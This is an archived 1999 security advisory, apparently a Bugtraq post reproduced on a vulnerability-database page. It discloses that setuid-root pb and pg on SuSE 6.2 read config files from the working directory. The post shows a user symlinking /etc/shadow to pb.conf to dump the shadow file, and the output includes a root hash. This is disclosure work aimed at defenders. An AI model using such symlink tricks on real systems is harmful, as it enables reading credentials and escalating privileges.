Lucene search
K

Linux_suse_exploits.txt

🗓️ 19 Sep 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Two SuSE 6.2 root exploits allow file access and contain buffer overflow vulnerabilities.

Code
`Subject: Two SuSE 6.2 local root exploits  
To: [email protected]   
  
  
Greetings,  
  
  
/usr/bin/pb and /usr/bin/pg, suid root by default on SuSE 6.2, allow  
any user to read any file on the system as shown:  
  
  
susebox:/root # ls -la /usr/bin/pb  
uname -rwsr-xr-x 1 root root 23544 Jul 22 20:07 /usr/bin/pb  
  
  
susebox:/root # strace /usr/bin/pb  
...  
personality(PER_LINUX) = 0  
getpid() = 16623  
brk(0) = 0x805032c  
brk(0x80504cc) = 0x80504cc  
brk(0x8051000) = 0x8051000  
open("pb.conf", O_RDONLY) <-- trouble? = -1 ENOENT (No such file or  
directory)  
write(2, "pb.conf fopen: No such file or d"..., 41pb.conf fopen: No such  
file or directory  
) = 41  
_exit(1) = ?  
susebox:/root #  
  
  
---  
xnec@susebox:/tmp > id  
uid=1001(xnec) gid=100(users) groups=100(users)  
xnec@susebox:/tmp > ln -s /etc/shadow ./pb.conf  
xnec@susebox:/tmp > pb  
Unknown config line : <root:nfpzNvX19GwRg:10850:0:10000::::> =  
<bin:*:8902:0:10000::::>  
Unknown config line : <daemon:*:8902:0:10000::::> =  
<lp:*:9473:0:10000::::>  
Unknown config line : <news:*:8902:0:10000::::> = <uucp:*:0:0:10000::::>  
Unknown config line : <games:*:0:0:10000::::> = <man:*:8902:0:10000::::>  
... etc for the entire shadow file  
  
  
The same scenario for /usr/bin/pg's pg.conf in your cwd. These two  
programs also contain numerous buffer overflows and other insecure file  
i/o and should obviously lose their suid bits. They cannot operate  
correctly without their s-bits unless they are run by root, but no one  
besides root will run them anyway. These programs are not worth  
patching.  
  
  
Brock Tellier  
UNIX Systems Administrator  
Webley Systems  
www.webley.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation